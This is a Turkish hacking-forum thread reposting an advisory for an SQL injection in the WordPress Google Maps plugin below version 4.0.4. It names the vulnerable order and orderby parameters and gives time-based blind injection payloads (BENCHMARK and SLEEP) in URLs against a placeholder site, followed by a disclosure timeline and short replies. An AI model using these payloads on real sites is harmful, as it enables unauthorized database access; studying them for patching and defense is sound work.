⌘K
Duyuru

WordPress SQL İnjection GMaps (1 Viewer)

ZerOne 

WordPress SQL İnjection Bu SQL İnjection açığı WordPress'de yüklenmiş olan plugin Google Maps 4.0.4'den aşağı versiyonlarda çalışır Güvenlik Riski - Yüksek 1. SQL injection...

WordPress SQL İnjection

Bu SQL İnjection açığı WordPress'de yüklenmiş olan plugin Google Maps 4.0.4'den aşağı versiyonlarda çalışır
Güvenlik Riski - Yüksek


1.​
SQL injection
View hidden content is available for registered users!
Güvenlik Açıklı Funksiyon : $wpdb->get_results()
View hidden content is available for registered users!

Güvenlik Açıklı seçenek: $_GET['order']
SQL açıklı URL:
http://vulnerablesite.com/wp-admin/admin.php?page=wpgmp_manage_location&orderby=location_address&order=asc
http://vulnerablesite.com/wp-admin/...e_location&orderby=location_address&order=asc
View hidden content is available for registered users!
PROCEDURE ANALYSE(EXTRACTVALUE(4242,CONCAT(0x42,(BENCHMARK(42000000,MD5(0x42424242))))),42)

2.
SQL Seçeneği
View hidden content is available for registered users!

# SQL injection
# Vulnerable Function: $wpdb->get_results()
# Vulnerable Variable: $_GET['orderby']
# Vulnerable URL:
http://vulnerablesite.com/wp-admin/...ation&order=asc&orderby=location_address AND (SELECT%20*%20FROM%20(SELECT(SLEEP(555)))xxx)&order=asc
# Disclosure Timeline
# 2018/05/11 Vulnerabilities discovered
# 2018/05/16 Vendor contacted
# 2018/06/08 No response
# 2018/06/12 Advisory released to the public


🔒 Bu içeriği görmek için giriş yapın

 
'M4R10' Alıntı:
WordPress SQL İnjection

Bu SQL İnjection açığı WordPress'de yüklenmiş olan plugin Google Maps 4.0.4'den aşağı versiyonlarda çalışır
Güvenlik Riski - Yüksek


1.​
SQL injection
View hidden content is available for registered users!
Güvenlik Açıklı Funksiyon : $wpdb->get_results()
View hidden content is available for registered users!

Güvenlik Açıklı seçenek: $_GET['order']
SQL açıklı URL:

View hidden content is available for registered users!
PROCEDURE ANALYSE(EXTRACTVALUE(4242,CONCAT(0x42,(BENCHMARK(42000000,MD5(0x42424242))))),42)

2.
SQL Seçeneği
View hidden content is available for registered users!

# SQL injection
# Vulnerable Function: $wpdb->get_results()
# Vulnerable Variable: $_GET['orderby']
# Vulnerable URL:
(SELECT%20*%20FROM%20(SELECT(SLEEP(555)))xxx)&order=asc
# Disclosure Timeline
# 2018/05/11 Vulnerabilities discovered
# 2018/05/16 Vendor contacted
# 2018/06/08 No response
# 2018/06/12 Advisory released to the public
Genişletmek için tıklayın ...
.

🔒 Bu içeriği görmek için giriş yapın

 
ZerOne' Alıntı:
WordPress SQL İnjection

Bu SQL İnjection açığı WordPress'de yüklenmiş olan plugin Google Maps 4.0.4'den aşağı versiyonlarda çalışır
Güvenlik Riski - Yüksek


1.​
SQL injection
[Gizli içerik][Gizli içerik][Gizli içerik][Gizli içerik][Gizli içerik]http://vulnerablesite.com/wp-admin/...e_location&orderby=location_address&order=asc
[Gizli içerik]
2.
SQL Seçeneği
[Gizli içerik][Gizli içerik][Gizli içerik]
Genişletmek için tıklayın ...
başarılı

🔒 Bu içeriği görmek için giriş yapın

 
ZerOne' Alıntı:
WordPress SQL İnjection

Bu SQL İnjection açığı WordPress'de yüklenmiş olan plugin Google Maps 4.0.4'den aşağı versiyonlarda çalışır
Güvenlik Riski - Yüksek


1.​
SQL injection
[Gizli içerik][Gizli içerik][Gizli içerik][Gizli içerik][Gizli içerik]http://vulnerablesite.com/wp-admin/...e_location&orderby=location_address&order=asc
[Gizli içerik]
2.
SQL Seçeneği
[Gizli içerik][Gizli içerik][Gizli içerik]
Genişletmek için tıklayın ...
iyi

🔒 Bu içeriği görmek için giriş yapın

 
Yanıt yazmak için giriş yapmalısınız
Forum özelliklerini kullanmak ve Level 2 üyelik satın almak için hesabınıza giriş yapın.
Giriş Yap Kayıt Ol

Users who are viewing this thread

Toplam: 2 (Kullanıcı: 0, Ziyaretçi: 2)
133,369Konular
3,275,840Mesajlar
321,454Kullanıcılar
kanso2134Son Üye

About Us & Legal Notice

Yasal Uyarı: spyhackerz.org, 5651 sayılı Kanun kapsamında “Yer Sağlayıcı”dır. Sitedeki içerikler, X, Instagram ve Facebook’ta olduğu gibi, ön onay olmadan tamamen kullanıcılar tarafından paylaşılır. Bu nedenle spyhackerz.org, kullanıcı içeriklerini veya hukuka aykırı paylaşımları izlemek, denetlemek ve araştırmakla yükümlü değildir. Site bünyesinde herhangi bir “saldırı ekibi” bulunmamaktadır ve Türkiye’deki internet sitelerine yönelik zararlı faaliyet yürütülmez. SPYHACKERZ, üyelerin bireysel olarak gerçekleştirdiği hacking içerikli forum faaliyetlerinden sorumlu değildir. spyhackerz.org adı kullanılarak bir saldırı yapılması halinde tüm sorumluluk yalnızca ilgili üyeye aittir.
Üst Alt